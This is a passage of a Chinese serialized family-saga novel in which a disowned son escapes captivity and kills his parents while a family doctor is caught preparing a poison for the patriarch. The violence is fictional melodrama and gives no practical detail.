“关于沈年,我必须郑重声明:早在十年前,他闯下大祸危害公共安全时,我与他之间的父子情分就已经彻底断绝,当初为了保全家族颜面才对外宣称是深造,其实是驱逐。这件事,当年有据可查,并非我今日凭空捏造。” 他稍作停顿,给公众消化信息的时间,随后脸上流露出恰到好处的无奈。 “近年来,沈年的确曾多次试图联系我希望修复关系,但均被我明确拒绝。因为作为A国要员,我无法原谅一个视他人生命为无物的恶人。” “或许正是我的决绝,引来了他的怨恨。他因回国无望选择报复我们,买凶纵火烧了沈公馆,我的妻子姚歌,就是最直接的受害者,至今仍在休养!” “至于那封所谓的姚歌遗书,也是沈年为了转移罪证伪造的。” “所以,余先生指控的,纯属无稽之谈!我沈谦行事,上对国家忠诚,下对百姓负责,从未,也绝不会利用职务之便做任何损害国家利益之事!” 最后,他重点重申,掷地有声: “我与沈年,早已划清界限,他的任何行为均属个人行为,与沈家、与我本人,毫无关系!我相信法律会查明真相,还清白者以清白!” 这份声明一出,各界哗然,里面涉及的戏剧性情节更是让民众惊呼活久见。 一时间,关于沈家豪门内部的争斗议论不止。 * “砰——” 一声清脆的碎裂声在花厅里骤然炸响。 “畜生!不配为父!不配为子!” 沈庄在目睹沈谦的新闻声明后,气得把案头的一套官窑全砸了,名贵的瓷片伴随着温热的茶水四散飞溅,如同他此刻被撕碎的心境。 沈娇从未见过沈庄这般动怒,赶紧上前安抚,“爸,您消消气,可别气坏了身子。” 沈庄捂着心口,呼吸急促,指着厅外的方向,“去!去把那个畜生……” 话没说完,沈庄两眼一翻,直接晕了过去。 “爸!”沈娇和冯妈大惊失色,一左一右扶住他缓缓下坠的身体。 沈庄半个月前才大病了一场,医生千叮咛万嘱咐不能再受刺激,现在人直接气晕过去,饶是沈娇再心大也不免慌了神。 “郑松,去请孟医生!” 郑松听见院里的动静赶紧冲了进来,见老爷子瘫倒在地,二话不说抱起他就往主屋方向去,待安置好,立马出门请人。 老爷子偏宠姜花衫,别人说一百句都不如她一句。 沈娇勉强稳住心神,回头吩咐冯妈,语速极快,“冯妈,去看看衫衫在不在院子?在的话让她赶紧过来。” “诶。”冯妈也知道事情严重,不敢耽搁,转身出了主屋。 她心急,步伐大一时没留神,与迎面走来的少年撞了个正着。 冯妈“唉哟”了一声,沈知礼顾不上跌落的宝贝木箱,赶紧上前搀扶。 “冯奶奶,对不起,我不是故意的。” 冯妈稳住身形,缓了口气,并未和他计较,摆摆手表示没事,抬步又要走。 “奶奶。”沈知礼一把拉住她,“我刚刚听见沈姑姑让请医生,出什么事了?” 冯妈顾不上和他解释,只说了一句“老爷子晕倒了”,便急急忙忙出了沁园。 沈知礼皱眉,目光往主屋的方向看了过去,犹豫片刻后,他蹲身抱起掉落的木箱,拔腿向主屋冲去。 老爷子的脸色越发不好,呼吸明显变轻,沈娇暗叫不好,听见身后传来脚步声,立马起身望去,待看清闯进里屋的竟然是个稚气未脱的少年时,不免有些失望。 她还以为是孟医生来了。 沈知礼隔着三米的距离往床上看了一眼,脸色微沉,主动开口,“堂姑姑,老爷子好像情况不太好,能让我瞧瞧吗?” 若是平时,沈娇不会轻视少年人,但现在生死关头,她实在不敢把老爷子的性命交给一个还未出师的学徒,她略带抱歉地摇了摇头,“小礼,我知道你是好意,但这次情况不一样,还是等孟医生过来吧。” 沈知礼沉思片刻,抬眸迎上沈娇的目光,“姑姑,我是衫衫姐姐的人。” 沈娇微愣,迟疑了一秒,立马往后退了一步。 “你去吧。” 沈知礼郑重点了点头,抱着医药箱小跑上前。 * 另一边。 郊外某处隐蔽的地下室内。 光线昏暗,空气里弥漫着潮湿的霉味和淡淡的消毒水气息。 房间不算逼仄,有简单的床铺和独立的卫生间,但门窗都被特殊材料加固,不见天日。 沈年已经清醒,他坐在唯一的椅子上,姿态却不见丝毫狼狈,指尖有一下没一下地敲击着木质扶手,随着指尖的弹动,腕间的铁链发出极有规律的撞响。 “咔哒——” 铁门传来解锁的声音。 沈年缓缓抬眸,当看清逆光走进来的人影时,他敲击扶手的动作微微一顿,嘴角勾起一抹阴冷的弧度。 …… 第874章 下饵 沈归灵缓步踏入,隔绝了门外微弱的光线。 他穿着一身宽松的黑色毛衣,优雅的气质与眼前阴暗潮湿的环境格格不入。 “精神不错?” 沈归灵目光平静地扫过沈年腕间的铁链,笑着打招呼。 “我早该猜到是你。”沈年轻嗤了一声,晃了晃手里的锁链,“靠女人安身立命,沈归灵,你就这么点本事?” 沈归灵充耳不闻,从裤兜里掏出一个录音机,按下播放键后扔在沈年面前。 沈年皱了皱眉,一脸警惕,正要开口,录音里传来他熟悉得不能再熟悉的声音。 -【关于沈年,我必须郑重声明:早在十年前,他闯下大祸危害公共安全时,我与他之间的父子情分就已经彻底断绝……】 沈年目光一震,黑色的瞳眸忽然像是染上了一层雾气。 沈谦在新闻发布会的演讲词一字一句在阴暗的小屋里回荡,那些文字像是生长出了腐蚀的力量,一点一点侵蚀着一颗原本就不正常的心脏。 -【……】 等待最后一滴腐液落下,世界彻底安静。 沈年轻轻摇了摇头,眼珠上移,猩红的眼眶乍一看似乎晕出了血迹。 “他凭什么把我踢出沈家?” 这一声极轻,像是喃喃自语。 “他!” 忽然,沈年声线爆炸,仿佛一头沾满戾气的凶兽,龇牙欲裂地冲上前对着沈归灵怒喊,“沈谦算个什么东西?他凭什么把我赶出沈家?!” “你们凭什么把我赶出沈家!!!” 铁索被骤然拉直,发出碰撞的响声。 沈年不顾铁索的拉扯不断挣扎,情绪几乎崩溃,“我要杀你们!杀了你们!” 对于他现在的反应,沈归灵早就预料到了。 沈年最介意的就是当年被家族舍弃一事。老爷子说过,沈家没有弃子,但当他被放逐十年,俨然就已经是家族的弃子了。所以,他才跟李儒合作,想尽一切办法想要回来。 现在沈谦直接当众宣布与沈年断绝父子关系,他再也没有重回沈园的身份了。 沈年图谋了十年,一定接受不了这样的结果。 但沈归灵就是要故意刺激他。 “嘘~”他伸出食指抵在唇间,一副悲悯的神情,“小声点,录音还没放完。” 沈年从沈归灵的悲悯里看见了恶意与嘲讽,他忽然觉得毛骨悚然,不受控制地看向脚下的录音器。 这时,那道熟悉的声音再次响起: -【……现在的局势,阿年不单单是不能待在A国,而是不能再活着……】 -【死无对证,我们才能做最好的辩护。我会对你开通鲸港所有权限,阿灵,找到阿年,杀了他,以后你就是我沈谦唯一的儿子了。未来,沈家的一切也都会是你的。】 最后一句话,将跌入深渊的沈年彻底击垮。 他看着脚下闪着红光的录音器,嘴角不时抽动,似笑非笑。 沈归灵:“余斯文向A国最高法院提交了你勾结S国势力出卖A国利益的证据,你现在因叛国罪被起诉,安全局已经开始介入调查。沈谦要保住自己,现在你知道沈谦为什么弃你又杀你了?” 沈年像一具迟缓的傀儡,眼珠缓缓转动看着沈归灵,“你等的就是这一刻,光明正大地杀我?” 沈归灵点头,毫无征兆地一把拽住沈年的头发,对着他的肚子用力掼了一拳。 “唔……咳咳……” 沈年眼神短暂迟缓了片刻,半跪在地。 沈归灵抬脚,踹着他的下巴将人踢翻。 沈年挣扎着想起身,却被沈归灵掐住脖子用力按了回去。 “比起你对我做的,我已经仁慈很多了。其实我是想亲自动手的,但我现在今时不同往日,我不想脏了自己的手。” 说着,他一把甩开沈年,随手扯下床单擦手。 沈年捂着脖子,趴在地上苟延残喘地看着他。 他忽然想起,他和沈归灵第一次见面,也是这样的场景,只是当年像狗一样匍匐的少年已经站直了身体。 沈归灵转身走向房门,门缝缓缓合上的瞬间,沈年再次听见沈归灵的声音。 “等天暗了,把人处理掉,手脚干净点。” “……” * 天色彻底暗沉下来,地下室里唯一的光源来自门外走廊透进的微弱光晕。 铁门再次被打开,两名穿着黑色作战服的男人走了进来。 其中一人上前,动作粗鲁地踢了踢蜷缩在角落阴影里的沈年。沈年毫无反应,像是昏死过去,又像是彻底放弃了挣扎。 “起来!”那人低喝一声,弯腰想去拽沈年的胳膊。 就在他手指即将触碰到沈年衣袖的瞬间—— 沈年如同蛰伏已久的毒蛇,身体爆发出惊人的力量与速度,他利用铁链的重量和长度,猛地向前一甩,坚硬的铁链末端狠狠砸向靠近那名守卫的太阳穴! “呃!”那守卫猝不及防,闷哼一声,眼前一黑,软软栽倒。 另一名守卫反应极快,立刻拔枪,但地下空间狭小,沈年与他几乎贴身。在他抬手的刹那,沈年已经如同鬼魅般贴地窜近,被铐住的双手精准地扣住他持枪的手腕,用力向下一折! “咔嚓”一声脆响,伴随着守卫痛苦的惨叫,手枪掉落。 沈年没有任何犹豫,额头猛地向前撞去,正中对方鼻梁。守卫吃痛后退,沈年趁机抬起膝盖,狠狠顶向对方腹部。 第二名守卫也失去了意识。 沈年快速在两人身上摸索,找到了手铐钥匙后利落地解开腕间的锁链。他丝毫不敢懈怠,捡起地上的手枪逃了出去。 与此同时。 小区高楼的向阳阳台。 姜花衫正趴在窗台用望远镜探视着黑影逃跑的路线。 “他偷了门口''正好''没有拔钥匙的车,往这个方向......” 沈归灵歪头,将下巴抵在她的肩上,半张脸凑到望远镜前,象征性地看了一眼,立马得出结论。 “他去医院了。” …… 第875章 借刀杀人 "为什么是去医院?而不是去找沈谦?" 姜花衫瞠目,眼眸扑闪扑闪地看向沈归灵。 沈归灵抬手,托住姜花衫举着望远镜的胳膊,在她耳边轻声细语:"沈年报复心极重,沈家负他,他必然一个都不会放过。相比沈谦,姚歌最容易得手。所以我猜他的目标依次应该是姚歌、沈谦、老爷子。" 姜花衫眼眸微沉,转头看向远处的夜幕。 沈归灵看出她的担忧,轻轻拍了拍她的肩膀:"放心,沈年弑母杀父的罪名只要成立,他与沈家的关系就算彻底隔离了,老爷子那边你已经做了万全准备,不会有事的。" 姜花衫深吸了一口气,点了点头:"你说的对,他们不值得我们同情。幸好你让莫然监听沈谦,否则后果不堪设想。" 庭审结束后的当天,她收到了沈归灵的加密文件,那是一段沈谦要求幕后之人动手的电话录音,而那个幕后之人就是沈园的家庭医生孟听学。 她当时听见那段录音时,吓得毛骨悚然。 她一直以为爷爷的死是突然的,但如果是孟医生,毒素可能是按剂量逐年增加的。而且从录音内容不难推断出,孟医生已经不止一次暗杀过老爷子,只是不知什么原因都失败了。 一想到这,她对沈谦的恨意就达到了顶峰。 虽然之前她早就知道沈谦是暗杀者之一,但她一直以为故事点还没有到,所以才一直试图改变。但既然沈谦已经下了黑手,她就绝不可能再对他仁慈了。 于是,她故意让沈归灵去刺激沈年,沈年怀恨在心一定会去找沈谦报仇。 既然沈谦已经做出了弑父的举动,那么让他死在沈年的手里就是对他最好的惩罚,如此正好也能解决沈家当前的危机。 只是,这次她的算计里多了几分残忍,不似爷爷教她的磊落。 * 鲸港VIP病房。 房间里亮着一盏昏暗的夜灯,消毒水的味道浓郁得刺鼻。 病床上,一个人形被层层绷带包裹,如同一具被束缚在刑架上的活尸,几乎看不出原本的模样。 一道黑影摸进房间,悄然靠近床侧。 他缓缓从后腰抽出一把闪着寒光的匕首,抵着那缠满绷带的胸口。 床上的人似乎感应到了什么,眼皮下的眼球剧烈转动起来。在看清眼前的面孔后,喉咙忽然发出极其微弱、如同破风箱的呼呼声。 很快,缠在脸上的绷带被眼角的泪水打湿。 沈年却像是看不见她眼里的乞求一般,缓缓低下头,在她耳边如魔鬼低语:"母亲,去死吧,下辈子我们永远都不要见面了。" "噗嗤——" 鲜血迸溅,烫红了他的眼睛,一滴泪混着血水落在了刀尖。 沈谦的私宅坐落在鲸港一处安保森严的半山腰。 平日里这里有专人巡逻,监控无死角,堪称铜墙铁壁。 然而今晚,这铁壁却悄然裂开了一道缝隙。沈谦做梦都不会想到,他用来收买沈归灵的权力竟然会变成他最后的索命咒。 沈归灵暗箱操作,将负责安防的保镖外派去沈庄的另外一间酒庄支援,而这也正好给了沈年可乘之机。 他如同暗夜中的影子,精准地避开残余的监控,依照记忆里的路线悄无声息地潜入了主宅。 宅内一片寂静,只有他极轻的脚步声落在昂贵的地毯上,被完全吸收。 他目标明确,径直走向二楼沈谦的主卧室。 在自以为绝对安全的环境里,沈谦早已失去了警惕。主卧的房门并未反锁,沈年拧动门把,房门悄无声息地滑开一道缝隙。 卧室内只留着一盏昏黄的睡眠灯。 沈谦躺在宽大的床上,深陷在柔软的枕头里,呼吸均匀,似乎正沉浸在睡梦之中。 沈年站在床边,阴影将他整个人笼罩。 他低头看着这个已然苍老的男人,眼神闪过一抹戾气,随手拿起床上的枕头,没有丝毫犹豫,对着沈谦的脸用力按了下去! "唔!呜——!" 突如其来的窒息感将沈谦从睡梦中猛地拽醒! 他惊恐地瞪大双眼,视野被柔软的织物填满,求生的本能让他双手胡乱抓挠,双腿拼命蹬踹,喉咙里发出沉闷而痛苦的呜咽。 挣扎持续了不过数秒,沈年猛地松开了枕头。 沈谦如同濒死的鱼,大口大口地喘着粗气,冷汗瞬间浸透了睡衣。他惊魂未定地抬起眼,模糊的视线在接触到床边那道人影时骤然凝固。 "阿……阿年?"他的声音因恐惧而变调,带着难以置信的颤抖。 "您还认得我?" 沈年眼里带着病态的惊喜,但下一秒,就举着手枪抵上了沈谦的额头。 "不……不要!阿年!我是你父亲啊!血浓于水啊!" "血浓于水?"沈年像是听到了什么天大的笑话,满脸嘲讽,"你是不是忘了,我们已经断绝父子关系了?" "不是!不是!阿年,你听我解释,我那只是权宜之计!” “老爷子……对!是老爷子逼我的,我也不想的,阿年你知道的,这个家一直都是老爷子说的算,我也没办法!" "你想要什么?钱?权?我都给你!沈家的一切以后都是你的!别杀我!别杀我——!" 死亡的恐惧彻底淹没了沈谦,此刻的他,涕泪横流丑态毕露,全然没有一丝父亲的威严。 沈年看着他这副摇尾乞怜的懦夫模样,眼中最后一丝波动终于彻底熄灭。 原来,只要一把枪,一个死亡威胁,就能让他曾经以为越不过的山脉变成土丘。 若是沈谦还能有一丝尊严与他对抗,他或许都不会像现在这么失望。 沈年闭了闭眼,单手上膛。 弹簧撬动声让死亡的恐惧上升到极点。 沈谦身体忽然颤抖,很快空气里传来一阵恶心的腥臭味。 沈年眼里的嫌弃更甚,如同死神的宣判般说道:"母亲最爱你了,你下去陪她吧。也算我给她道歉了。" "不……" "砰——!" 子弹穿透眉心,带出一蓬血雾。 沈谦的哀求戛然而止,身体猛地一震,随即软软地瘫倒下去,那双写满惊恐与不甘的眼睛,至死都未能闭上。 …… 第876章 暴风雨的前夜 枪声的回音在卧室里渐渐消散,留下死一般的寂静。 沈年站在原地,一动不动地凝视着床上那具逐渐失去温度的尸体。 复仇的快感如潮水般退去,取而代之的是一种深入骨髓的空虚。 他的眼神开始涣散,瞳孔深处隐隐泛起不正常的猩红,握着枪的手微微颤抖,指节因过度用力而泛白。 一股暴虐的冲动在他体内横冲直撞,叫嚣着要摧毁眼前的一切。 "杀杀杀!还有一个人必须死!!!" 他摇头晃脑地盯着沈谦的尸体,就在那嗜血的因子即将掌控他心智的瞬间,沈年猛地闭上眼,深吸一口气,用尚存的一丝清明,颤抖着从裤袋里掏出一个小小的棕色药瓶。 他熟练地拧开瓶盖,甚至没有用水,直接将两粒白色药片干咽下去。 药片滑过喉咙的苦涩感让他稍微清醒了一些。他靠在冰冷的墙壁上,等待着药效发作。 几分钟后,他剧烈起伏的胸膛渐渐平复,眼中那不正常的猩红也缓缓褪去,取而代之的是一片死寂的冰冷。 "还有一个人,必须死!" 他喃喃自语,转身将身后的死亡与过往彻底抛下。 * 黑色的轿车无声地滑行在鲸港深夜的街道上,车窗外的霓虹灯影飞速掠过,在姜花衫瓷白的脸上投下明明灭灭的光影。 她靠在座椅里,目光放空地看着窗外。 刚刚沈园打电话来,说老爷子因为沈谦的新闻发言气急攻心晕了过去,现在还在昏迷。虽然姜花衫知道剧情发展到这一步已经不可避免,但还是有些难过。 沈归灵负责开车,见她不想说话便也没有打扰。 突然,一阵急促的手机震动声打破了这份宁静。 姜花衫瞬间回身,回头盯着沈归灵:"是不是莫然?" 沈归灵看了一眼来电显示,点了点头,随即按下接听键,并打开了免提。 "莫秘书。" "少爷……"电话那头,莫然的声音透着一丝不易察觉的紧绷,"刚刚确认的消息,阿年少爷先后闯入医院和沈先生私宅,夫人和先生均已确认死亡。现在警方已经介入调查,全力追捕阿年少爷。" 姜花衫闭了闭眼,长长地吁出一口气。 "知道了。" 沈归灵挂了电话,转头看向她:"放心,沈园现在固若金汤,单凭沈年一人之力根本不可能伤害爷爷。" "我知道。但我不敢赌,再开快点,我必须守在爷爷身边才安心。" 沈归灵神色微动,抬眸看了她一眼,立马踩油门提速。 他早就发现了,只要关乎老爷子,不管多小的事姜花衫都会很紧张。 紧张得有些过头了。 * 沁园。 花厅里坐着一众沈家人,从接到老爷子晕倒的消息后,所有人都赶了回来。 傅绥尔和沈眠枝眉宇间满是担忧,但这个时候她们也不敢添乱,只能安静坐在角落等消息。 沈渊站在花厅外,探着脖子往主屋方向张望:"孟医生已经进去两个小时了,里面什么情况,怎么也没人出来说一声?" 见厅里没有一个人搭理他,他自觉无趣,轻咳了一声转头回到座位:"衫衫和阿灵呢?家里出这么大的事,怎么人都看不着?" 傅绥尔听不得有人说姜花衫半点不好,张口反呛:"衫衫一直在忙余笙的案子,爷爷晕倒是因为大伯在外面乱说话,事发突然,衫衫已经在赶回来的路上了。" 沈渊脸色微沉:"我说一句你说十句,你就是这么跟长辈说话的?" 傅绥尔早就因为未央台一事记恨二房,虽说沈娇最后有惊无险,但这颗仇恨的种子已经生根,再回到从前是不可能的了。 她冷笑了一声:"我有理我怕什么?二伯爹味这么大,难怪清予哥都不认你。" "你……" 沈渊顿时大怒,拍案而起。 沈让皱了皱眉,一副和事佬的模样:"行了,老二你也是,也不看看现在都什么时候了?怎么还跟一个孩子计较?" 有沈让撑腰,傅绥尔更加有恃无恐,冲着沈渊做了个鬼脸:"就是,我还是小孩子。" 沈渊冷笑,转眸看向沈让:"怎么?你们三房什么时候又开始齐心协力了?" 当初沈澈被逐,沈亦杰死在沈园,沈让因此对沈娇颇有微词,关系也不如从前了。 沈渊这话可算是杀人诛心。 沈让的脸色瞬间黑如锅底,正要开口,沈眠枝轻轻拉了拉他的胳膊。沈让这才强压了怒火,选择视而不见。 以往若是二房和三房发生冲突,沈娥定然是要上去说几句风凉话的,但她这几年都不在沈园,早已没了那份自持,不动声色地端茶,小声提醒沈渊:"说两句就算了,老爷子还没醒呢。" 萧澜兰坐在沈娥旁边,目光扫过沈眠枝时,眼里满是不屑。 厅里说话的功夫,主屋那边终于有了动静。 房门从里面推开,沈兰晞和孟医生一前一后走了出来。 孟医生态度严谨:"少爷,那我就按照刚才说的去配药了?" 沈兰晞点头:"辛苦了。" 孟医生摆摆手:"少爷言重了,这都是我应该做的。我先回去,等药配好了再过来。" "好。" 待孟医生转出廊庑,花厅里的人蜂拥而至。 沈渊一脸担忧:"兰晞,老爷子情况怎么样?刚刚孟医生说配药,配什么药啊?" 沈兰晞目光在众人之间逡巡了一圈,眉头微蹙,但很快又平复下来,淡淡道:"爷爷没什么事,已经缓过来了。孟医生说爷爷年纪大了,给他开一剂安神助眠的药剂。" 闻言,众人都缓了一口气。 沈娥小心翼翼试探:"兰晞,那……我们现在可以进去看看老爷子吗?" 沈兰晞往后退了一步,让出通道:"老爷子还没醒,大家尽量小声点。" 众人点头,争先恐后进了主屋。 沈兰晞沉思片刻,转身往花厅的方向走去,抬脚刚跨入门槛,身后便传来高止几乎炸毛的声音。 "少爷!出大事了!" 沈兰晞脚步微顿,收回脚步,在花厅外站定。 高止立马凑上前,在他耳边小声道:"一个小时前,姚歌和沈谦被沈年杀害了。" …… 第877章 门开了 沈兰晞微怔,向来清冷的脸上第一次出现了清晰的裂痕。 他猛地转过头看向高止,眼里像被巨大的海浪席卷,暗流涌动。 高止被他锐利冰冷的眼神慑住,不敢有一丝懈怠,表情严肃:"千真万确,而且警方已经开始介入。我收到情报,现在警署厅正在向上面申请搜查令,应该很快就会找上门。" 沈兰晞:"还查到什么?" 高止迟疑片刻,左右看了看小声道:"您不是让我暗中观察姜小姐,我查到了,姜小姐参加萧家宴会那晚突然失踪可能和沈年有关。" 沈兰晞脑子里立马闪过姜花衫追去A国的所有细节,闭了闭眼:"是她抓了沈年?" 高止:"是。但奇怪的是,我把鲸港都翻遍了,愣是没查出来姜花衫把沈年关哪去了?就像凭空消失了一样。少爷,怎么办?一夜之间沈家死了两个人,杀人凶手还是沈家的长孙,老爷子要是知道了,只怕会受不住。" 两人还没说完,郑松快步从院外走了进来,表情凝重:"少爷,蔡署长拜访,说是来调查两件命案。" 沈兰晞站在廊下回头望向主屋,夜风吹拂着他散落在额前的碎发,他的眸比身后的夜还沉。 "跟我来。" 他淡淡吩咐了一声,转身出了沁园。 沁园门外,警署厅署长蔡严带着几名身着制服的警官静立等候。见到沈兰晞出来,蔡严立刻上前一步,微微躬身,态度恭敬却不失警署厅长的身份:"兰晞少爷,深夜打扰,实在抱歉。" 沈兰晞停下脚步,目光平静地落在蔡严身上,声音听不出喜怒:"蔡署长,客套了。家中现在有事,不方便接待,还请您改日再来。" "这......"蔡严脸上挤出一丝恰到好处的为难,斟酌着开口:"想必兰晞少爷已经听说了......议员长和姚歌女士的噩耗。我们警方正在全力侦查,只是......目前所有的证据都指向了沈年少爷。按照程序,我们需要对沈年少爷可能藏匿或出现过的地方进行搜查,也包括......沈园。当然,这仅仅是例行程序,绝无不敬之意。" 他一边说,一边小心观察着沈兰晞的脸色,补充道:"另外,也需要向沈家诸位了解一些情况,尤其是关于沈年少爷近期动向的。" 沈兰晞静静地听着,脸上没有任何表情,直到蔡严说完,他才缓缓开口: "蔡署长,沈年早已被沈家除名,他的所作所为,与沈家无关。沈园是老爷子的清静之地,老爷子方才身体不适,刚刚歇下。"他顿了顿,目光扫过蔡严和他身后的警官,"搜查令带来了吗?" 蔡严被他看得心头一凛,连忙道:"正在申请,程序上需要一点时间。我们此次前来,主要是想先与沈家沟通,了解情况,绝无冒犯之意。" "既然没有搜查令,"沈兰晞的声音依旧平稳,却带着一丝不容置疑的冷意,"那就请蔡署长按规矩办事。沈园之内,暂时不便接待各位调查。至于了解情况......" "蔡署长?" 忽然,身后传来一声惊喜清亮的女声。 沈兰晞皱了皱眉。 蔡严被吓了一跳,下意识循声望去,只见姜花衫和沈归灵正从夜色中快步走来。 两人几步走到近前,沈归灵目光在沈兰晞和蔡严之间转了转,神色凝重:"蔡署长,我已经接到了警方的电话,消息是真的吗?" 沈谦是沈归灵名义上的父亲,可说是案件的直接受害人,蔡署长点了点头,神色哀痛:"阿灵少爷节哀。" 沈归灵眼睑微颤,沉默片刻哑声问道:"我父亲的遗体......" "由于案件恶劣,涉及国家要员,沈议员长的遗体暂时只能由警署厅保管,还请阿灵少爷理解。" 沈归灵皱了皱眉,显然是不能理解,正要说话,一旁的姜花衫拉了拉他的胳膊,主动接过话题:"蔡署长怎么会在这?凶手抓到了吗?" 沈兰晞面无表情,一言不发看着两人演戏。 蔡署长完全不知情,左右为难,讪讪解释道:"我原本是来沈园取证的,但......" "但什么?"姜花衫瞪着一双无辜的眼睛,眼神带着几分不满和谴责,"我沈家出了两条人命!难道你们不应该给我们一个交代吗?" 蔡署长早见识过姜花衫的厉害,怕她甚至远甚于沈兰晞,索性豁了出去:"姜小姐误会了......其实,我们已经锁定了凶手的逃离路线,确认沈年已经上山了。他一连杀了两人,戾气十分重,我们担心他下一个目标在沈园,所以才想提前进来部署。" "什么?这种事怎么不早说?太可怕了!!!" 姜花衫捂着嘴巴,转头看向沈兰晞:"兰晞哥,这还犹豫什么?赶紧让蔡署长进去啊?" 到时候,在警署厅的围剿下猎杀沈年,一切都合规合法了。 "......" 叫他兰晞哥? 沈兰晞忽然头疼得厉害。 * 夜色如墨,沈园的后山在黑暗中如同蛰伏的巨兽,沉默而危险。 沈年喘着粗气,倚靠在一棵老树的阴影里,身上的伤口在攀爬过程中被再次撕裂,传来阵阵钝痛。 他抬头望向那片几乎与山体融为一体的高墙,染红的眼底出现了片刻的呆滞。 他如同行尸走肉慢慢走向高墙,摸索着那扇锈迹斑斑的黑色铁门,铁门被几乎被满墙藤蔓缠绕得看不清原样,但他还是凭着记忆里的模样找到了锁体的位置。 竟然还在。 他的呼吸骤然停滞他颤抖着扒开锁体上的藤蔓,又颤动着伸出食指按在指纹扫描处…… 其实,做出这个动作时,他根本没抱希望。 “咔嚓——” 可是,下一秒,希望拥抱了他。 因为,门开了。 …… 第878章 不聋不哑阿家翁 医药室内,灯光冷白。 孟听学站在配药台前,动作熟练地取出各种试剂和仪器。那些药剂的剂量和品类他早已烂熟于心,但每次配药时,他的手总克制不住地颤抖。 这个配方,能制造出一种完美的"自然死亡"假象,诱发急性心衰,且事后极难被检测出来。 他曾经受沈谦的胁迫,数次在老爷子的常规药物中掺入微量的前驱物质。那些物质会缓慢累积,削弱心脏功能,但距离引发致命危险还差这最后一剂"催化剂"。 如今,这最后一剂,就在他手中慢慢成型。 透明的液体在烧杯中轻轻晃荡,折射出冰冷的光泽。 孟听学额头渗出了细密的汗珠,因为他深知,一旦将这药剂替换掉本该送去的安神剂,沈老爷子必死无疑。 他盯着那杯即将完成的毒药,眼神剧烈挣扎着。 一边是身家性命的威胁,一边是残存的医德和多年的知遇之恩…… 他的手停顿在半空,迟迟无法进行下一步。 配药室里只有仪器运转的微弱嗡鸣,和他自己越来越沉重的心跳声。 但最终,孟听学还是咬着牙,将最后一种催化剂滴入了烧杯。 液体微微变色,宣告着致命毒药的完成。 他脱力般后退一步,靠在冰冷的墙壁上,看着那杯清澈却足以夺命的液体,眼神空洞而绝望。 他完成了任务,却感觉自己的一部分也死去了。 "孟医生?药配好了吗?老爷子那边等着呢!" 就在这时,医药室外传来沈娇略显急促的声音。 孟听学猛地一个激灵,仿佛从噩梦中被惊醒。他慌乱地站直身体,深吸一口气,极力压下脸上的异样。 "就……就好!"他扬声应道,声音带着一丝不易察觉的沙哑。 他动作极快地将那杯致命的液体小心翼翼地倒入一个提前准备好的棕色玻璃瓶中,紧紧塞好瓶塞。然后,他将这个毒药瓶和真正准备好的安神剂并排放入药箱。 看着并排的两个瓶子,他的手再次不受控制地颤抖起来。 "孟医生?"门外,沈娇的催促声再次响起。 "来了来了!"孟听学咬紧牙关,最终,还是将那个装着毒药的瓶子放在了更顺手取用的外侧隔层,而真正的安神剂则被塞进了内侧。 他"啪"地一声合上药箱,打开门。 沈娇站在门口,略有些疑惑地往屋里看了看:"是药出问题了吗?怎么感觉你的脸色不太好。" "没有。"孟听学避开她探究的目光,拎着药箱的手下意识地收紧,"只是配药需要些时间,我们这就过去吧。" 沈娇并未深究,点了点头:"那快走吧。" 说着便转身带路。 沁园那边,沈家众人得知老爷子无恙,彻底安了心,又听说蔡严带着一群警署厅的人找上门,纷纷坐不住了,留下沈眠枝和傅绥尔便又转去了前厅。 沈娇领着孟医生进园时,恰巧看见大部队往外院转移,她并未招呼,直接让郑松关了院门。 傅绥尔和沈眠枝守在沈庄床前,远远听见脚步声,立马起身张望。 见是沈娇领着孟医生回来了,两人都松了口气。 沈娇示意傅绥尔和沈眠枝避让,回头看向孟听学:"孟医生,快给老爷子用药吧。" 孟听学喉咙发紧,含糊地应了一声:"……好。" 他走到床边,放下药箱。 当着众人的面打开,里面并排放着的两个棕色药瓶。他的目光在内侧真正的安神剂和外侧那瓶毒药之间急速摇摆,心跳如擂鼓。 "孟医生?"沈娇见他盯着药箱发呆,神色平静,"怎么了?" 孟听学眼中闪过一丝决绝的痛色,几乎是凭借本能,伸手快速取出了外侧那个瓶子。 "我这就为老爷子注射。" 他撕开一次性注射器的包装,用微微颤抖的手将针头刺入瓶塞,抽完药液,排尽空气,一切工作准备就绪。就在针尖即将触碰到老爷子手臂的前一秒—— "等等!" 沈娇忽然开口,声音不大,却带着一种不容置疑的力度。 孟听学的手猛地一抖,针尖险险停在半空。 他惊愕地抬头,看向沈娇,心跳几乎停止。 沈娇的眼神变得深沉难辨,她没有质问,也没有点破,只是平静地伸出手,语气却不容反驳: "把注射器给我。" 孟听学瞳孔骤缩,僵在原地,大脑一片空白。 沈娇不等他反应,直接伸手,动作干脆地从他僵直的手中取走了那支装载着死亡的注射器。 沈眠枝和傅绥尔表情微愣,似有些不解。 沈娇冷冷看着手中的注射器,手臂往角落伸去:"小礼,你过来看看。" 话音落下,角落的阴影里,一个身形单薄的少年应声走了出来,正是沈知礼。他之前一直安静地待在不起眼的角落,仿佛与阴影融为一体。 看见沈知礼的瞬间,孟医生脸色煞白,他仿佛明白了什么,肩膀抖动,似笑非笑。 沈知礼双手接过药剂,凑在鼻尖嗅了嗅,眉头微蹙:"光凭嗅觉我无法确定,我需要提炼。" 沈娇脸色冷沉:"那就炼。沈家不会冤枉一个好人,但也绝对不会放过一个罪人。" 沈知礼略有迟疑地看了孟医生一眼,默默点了点头。 他拿着药剂,正要出门,孟医生闭了闭眼,缓缓开口:"不必炼了,是毒剂。" 少年脚步微顿,回头看着孟医生,微蹙的眉头越拧越紧。 傅绥尔和沈眠枝脸色惊变,看向孟医生的眼神也变了味。 沈娇还算镇定,声音极冷:"沈家待你不薄,你若还有一丝良知就把话说清楚。" 孟医生轻叹了一声,神色黯然:"老爷子这次气急攻心是因为,他被长期摄入了一种会缓慢损伤心脉的毒素。这种毒素需要长时间累积才能见效,但一旦累积到临界点,只需一个诱因,比如情绪剧烈波动,或者……" 他的目光转向沈娇手中的注射器,"……或者再注入一剂强烈的''催化剂'',就会立刻诱发急性心衰,造成''自然死亡''的假象。" 傅绥尔和沈眠枝瞬间倒吸一口凉气,难以置信地看向孟听学。 沈娇目光毫不动摇地盯在孟医生脸上:"既然潜伏了这么久,为什么要选在这个时候下手?说!你受谁指使?" 孟医生心知自己毫无退路,恍惚间又想起这么多年受老爷子知遇之恩,便也没有挣扎,如实道:"是沈谦沈先生。" "……果然是他。" 就在这令人窒息的沉默中,一道苍老低沉的声音突兀地在床边响起。 …… 第879章 一败涂地的赌注 